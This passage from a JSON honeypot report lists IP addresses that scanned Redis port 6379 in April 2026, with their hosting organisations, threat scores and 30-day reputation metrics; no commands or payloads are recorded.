        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 192,
        "days_active_30d": 30,
        "ports_targeted_30d": 183,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T01:06:44.715000+00:00",
        "last_seen_30d": "2026-04-30T15:49:13.132000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 192
      }
    },
    "193.163.125.18": {
      "attack_count": 5,
      "first_seen": "2026-04-01T03:27:33.000Z",
      "last_seen": "2026-04-01T03:28:40.482Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 71.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 30,
        "ports_targeted_30d": 144,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T01:27:21.925000+00:00",
        "last_seen_30d": "2026-04-30T13:35:08.581000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 148
      }
    },
    "212.8.252.6": {
      "attack_count": 5,
      "first_seen": "2026-04-21T17:22:34.000Z",
      "last_seen": "2026-04-21T17:23:39.641Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Rotterdam",
      "asn": 49981,
      "as_org": "WorldStream B.V.",
      "threat_score": 39.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4814,
        "days_active_30d": 1,
        "ports_targeted_30d": 4999,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-21T00:33:03.198000+00:00",
        "last_seen_30d": "2026-04-21T17:24:26.457000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4814
      }
    },
    "23.92.27.206": {
      "attack_count": 5,
      "first_seen": "2026-04-14T12:36:45.000Z",
      "last_seen": "2026-04-14T12:37:50.290Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Fremont",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 72.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 30,
        "ports_targeted_30d": 169,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T05:21:32.606000+00:00",
        "last_seen_30d": "2026-04-30T23:08:30.289000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 182
      }
    },
    "66.132.224.16": {
      "attack_count": 5,
      "first_seen": "2026-04-03T01:06:19.000Z",
      "last_seen": "2026-04-03T01:07:26.265Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 67.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 58,
        "days_active_30d": 30,
        "ports_targeted_30d": 55,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T00:53:01.558000+00:00",
        "last_seen_30d": "2026-04-30T20:00:49.626000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 58
      }
    },
    "66.228.40.98": {
      "attack_count": 5,
      "first_seen": "2026-04-03T12:38:38.000Z",
      "last_seen": "2026-04-03T12:39:40.598Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cedar Knolls",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 72.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 166,
        "days_active_30d": 30,
        "ports_targeted_30d": 156,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T04:09:04.104000+00:00",
        "last_seen_30d": "2026-04-30T18:53:40.498000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 166
      }
    },
    "100.28.191.174": {
      "attack_count": 4,
      "first_seen": "2026-04-25T19:24:56.000Z",
      "last_seen": "2026-04-25T19:26:02.862Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 80.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.7,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 28,
        "ports_targeted_30d": 77,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T07:15:17.474000+00:00",
        "last_seen_30d": "2026-04-28T21:37:41.693000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 162,
        "Honeytrap": 20,
        "ConPot": 3,
        "Dionaea": 1
      }
    },
    "143.198.171.196": {
      "attack_count": 4,
      "first_seen": "2026-04-02T04:49:23.000Z",
      "last_seen": "2026-04-02T04:50:24.537Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1907,
        "days_active_30d": 2,
        "ports_targeted_30d": 1898,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T17:56:17.413000+00:00",
        "last_seen_30d": "2026-04-02T05:25:05.739000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1871,
        "Honeytrap": 32,
        "Adbhoney": 2,
        "Dicompot": 1,
        "Sentrypeer": 1
      }
    },
    "185.156.73.86": {
      "attack_count": 4,
      "first_seen": "2026-04-27T06:58:54.000Z",
      "last_seen": "2026-04-27T07:00:04.189Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": null,
      "asn": 211736,
      "as_org": "FOP Dmytro Nedilskyi",
      "threat_score": 72.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 165,
        "days_active_30d": 30,
        "ports_targeted_30d": 156,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T07:04:21.496000+00:00",
        "last_seen_30d": "2026-04-30T20:35:07.095000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 165
      }
    },
    "45.142.193.7": {
      "attack_count": 4,
      "first_seen": "2026-04-20T07:46:35.000Z",
      "last_seen": "2026-04-20T07:47:40.459Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 214295,
      "as_org": "Skynet Network Ltd",
      "threat_score": 35.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 3.3,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 190,
        "days_active_30d": 4,
        "ports_targeted_30d": 190,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-18T04:16:37.520000+00:00",
        "last_seen_30d": "2026-04-21T02:26:47.844000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 190
      }
    },
    "46.161.50.109": {
      "attack_count": 4,
      "first_seen": "2026-04-07T07:56:59.000Z",
      "last_seen": "2026-04-07T07:58:34.010Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 34665,
      "as_org": "Petersburg Internet Network ltd.",
      "threat_score": 58.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.0,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 79,
        "days_active_30d": 23,
        "ports_targeted_30d": 79,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-06T16:20:08.061000+00:00",
        "last_seen_30d": "2026-04-28T10:51:09.254000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 79
      }
    },
    "64.62.156.111": {
      "attack_count": 4,
      "first_seen": "2026-04-29T13:09:52.000Z",
      "last_seen": "2026-04-29T13:10:58.959Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 71.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 29,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T04:22:33.257000+00:00",
        "last_seen_30d": "2026-04-29T13:10:58.959000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 24,
        "Honeytrap": 3,
        "H0neytr4p": 1
      }
    },
    "65.49.20.87": {
      "attack_count": 4,
      "first_seen": "2026-04-28T14:16:05.000Z",
      "last_seen": "2026-04-28T14:17:15.775Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 57.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.0,
        "persistence": 15.0,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 18,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T10:24:48.832000+00:00",
        "last_seen_30d": "2026-04-30T06:06:35.521000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Honeytrap": 1
      }
    },
    "130.94.21.201": {
      "attack_count": 223,
      "first_seen": "2026-04-10T08:17:42.000Z",
      "last_seen": "2026-04-27T08:04:24.081Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 154177,
      "as_org": "LIGHT NODE LIMITED",
      "threat_score": 43.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.8,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 120,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T08:17:42+00:00",
        "last_seen_30d": "2026-04-27T08:04:24.081000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 100,
        "Suricata": 20
      }
    },
    "3.151.241.153": {
      "attack_count": 196,
      "first_seen": "2026-04-12T18:57:15.000Z",
      "last_seen": "2026-04-16T02:58:10.378Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3065,
        "days_active_30d": 30,
        "ports_targeted_30d": 110,
        "honeypots_triggered_30d": 11,
        "first_seen_30d": "2026-04-01T19:57:41+00:00",
        "last_seen_30d": "2026-04-30T17:04:21.087000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2036,
        "Honeytrap": 816,
        "Dionaea": 85,
        "Mailoney": 55,
        "Redishoneypot": 52,
        "ConPot": 6,
        "Ciscoasa": 4,
        "ElasticPot": 3,
        "H0neytr4p": 3,
        "Tanner": 3,
        "Honeyaml": 2
      }
    },
    "195.178.110.103": {
      "attack_count": 184,
      "first_seen": "2026-04-15T04:23:30.000Z",
      "last_seen": "2026-04-17T11:03:41.814Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 35.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 4.2,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 219,
        "days_active_30d": 5,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-15T02:37:33.394000+00:00",
        "last_seen_30d": "2026-04-19T01:00:24.823000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 152,
        "Redishoneypot": 42,
        "Honeytrap": 25
      }
    },
    "3.143.162.210": {
      "attack_count": 153,
      "first_seen": "2026-04-10T04:12:34.000Z",
      "last_seen": "2026-04-30T02:42:52.457Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3849,
        "days_active_30d": 30,
        "ports_targeted_30d": 136,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-04-01T17:51:29+00:00",
        "last_seen_30d": "2026-04-30T17:43:05.259000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2538,
        "Honeytrap": 1039,
        "Cowrie": 72,
        "Dionaea": 67,
        "Mailoney": 55,
        "Redishoneypot": 40,
        "ConPot": 10,
        "Tanner": 10,
        "Honeyaml": 6,
        "ElasticPot": 4,
        "Ipphoney": 3,
        "Ciscoasa": 2,
        "H0neytr4p": 2,
        "CitrixHoneypot": 1
      }
    },
    "157.245.229.234": {
      "attack_count": 67,
      "first_seen": "2026-04-04T09:15:37.000Z",
      "last_seen": "2026-04-30T13:31:53.532Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 49.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.5,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T09:15:37+00:00",
        "last_seen_30d": "2026-04-30T13:31:53.532000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 21,
        "Suricata": 7
      }
    },
    "140.246.124.160": {
      "attack_count": 66,
      "first_seen": "2026-04-02T19:30:05.000Z",
      "last_seen": "2026-04-28T06:02:02.953Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58519,
      "as_org": "Cloud Computing Corporation",
      "threat_score": 37.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-02T19:31:38.743000+00:00",
        "last_seen_30d": "2026-04-28T06:02:02.953000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13
      }
    },
    "61.242.178.28": {
      "attack_count": 63,
      "first_seen": "2026-04-03T14:02:23.000Z",
      "last_seen": "2026-04-28T20:30:27.540Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 36.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-03T14:03:28.040000+00:00",
        "last_seen_30d": "2026-04-28T20:30:27.540000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12
      }
    },
    "118.210.60.33": {
      "attack_count": 58,
      "first_seen": "2026-04-17T12:45:39.000Z",
      "last_seen": "2026-04-22T08:12:16.655Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Melbourne",
      "asn": 7545,
      "as_org": "TPG Telecom Limited",
      "threat_score": 55.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.8,
        "persistence": 5.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 384,
        "days_active_30d": 6,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-17T12:45:39.306000+00:00",
        "last_seen_30d": "2026-04-22T16:01:34.530000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 228,
        "Dionaea": 86,
        "Honeytrap": 47,
        "Redishoneypot": 15,
        "ElasticPot": 4,
        "H0neytr4p": 2,
        "Ciscoasa": 1,
        "Tanner": 1
      }
    },
    "152.32.185.141": {
      "attack_count": 57,
      "first_seen": "2026-04-11T04:40:14.000Z",
      "last_seen": "2026-04-11T05:00:57.416Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 94.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 30,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T17:42:43.551000+00:00",
        "last_seen_30d": "2026-04-30T23:05:10.208000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 179,
        "Honeytrap": 67,
        "ElasticPot": 26,
        "Redishoneypot": 14,
        "Dionaea": 4
      }
    },
    "223.76.108.98": {
      "attack_count": 55,
      "first_seen": "2026-04-01T01:40:13.000Z",
      "last_seen": "2026-04-25T23:49:25.223Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuhan",
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 38.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T01:40:14+00:00",
        "last_seen_30d": "2026-04-25T23:49:25.223000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 18,
        "Suricata": 6
      }
    },
    "64.62.197.152": {
      "attack_count": 52,
      "first_seen": "2026-04-03T11:58:04.000Z",
      "last_seen": "2026-04-11T02:39:01.506Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 93.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 269,
        "days_active_30d": 29,
        "ports_targeted_30d": 62,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-02T01:49:12+00:00",
        "last_seen_30d": "2026-04-30T09:51:21.380000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 154,
        "Honeytrap": 64,
        "Redishoneypot": 22,
        "Cowrie": 17,
        "H0neytr4p": 8,
        "Dionaea": 4
      }
    },
    "120.205.80.220": {
      "attack_count": 45,
      "first_seen": "2026-04-08T13:23:34.000Z",
      "last_seen": "2026-04-26T16:09:44.706Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 35.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.0,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T13:23:34+00:00",
        "last_seen_30d": "2026-04-26T16:09:44.706000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 15,
        "Suricata": 5
      }
    },
    "154.36.175.126": {
      "attack_count": 40,
      "first_seen": "2026-04-25T19:36:04.000Z",
      "last_seen": "2026-04-25T19:38:20.324Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 979,
      "as_org": "NetLab Global",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T19:36:14+00:00",
        "last_seen_30d": "2026-04-25T19:38:20.324000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 28,
        "Suricata": 2
      }
    },
    "106.13.45.232": {
      "attack_count": 31,
      "first_seen": "2026-04-02T16:56:51.000Z",
      "last_seen": "2026-04-29T17:14:59.054Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 36.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-02T16:58:25.091000+00:00",
        "last_seen_30d": "2026-04-29T17:14:59.054000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6
      }
    },
    "180.76.114.78": {
      "attack_count": 31,
      "first_seen": "2026-04-05T11:10:47.000Z",
      "last_seen": "2026-04-15T07:37:34.233Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 12.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-05T11:11:55.691000+00:00",
        "last_seen_30d": "2026-04-15T07:37:34.233000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6
      }
    },
    "120.48.43.118": {
      "attack_count": 30,
      "first_seen": "2026-04-03T06:58:57.000Z",
      "last_seen": "2026-04-28T14:19:38.169Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 34.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-03T06:59:58.224000+00:00",
        "last_seen_30d": "2026-04-28T14:19:38.169000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6
      }
    },
    "120.71.40.231": {
      "attack_count": 30,
      "first_seen": "2026-04-03T16:37:53.000Z",
      "last_seen": "2026-04-26T05:14:08.119Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137695,
      "as_org": "CHINATELECOM Xinjiang Wulumuqi MAN network",
      "threat_score": 30.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-03T16:38:54.327000+00:00",
        "last_seen_30d": "2026-04-26T05:14:08.119000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6
      }
    },
    "202.121.66.3": {
      "attack_count": 30,
      "first_seen": "2026-04-08T03:13:04.000Z",
      "last_seen": "2026-04-29T05:47:16.748Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4538,
      "as_org": "China Education and Research Network Center",
      "threat_score": 32.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-08T03:14:12.172000+00:00",
        "last_seen_30d": "2026-04-29T05:47:16.748000+00:00",
        "days_since_last_seen": 1
      },
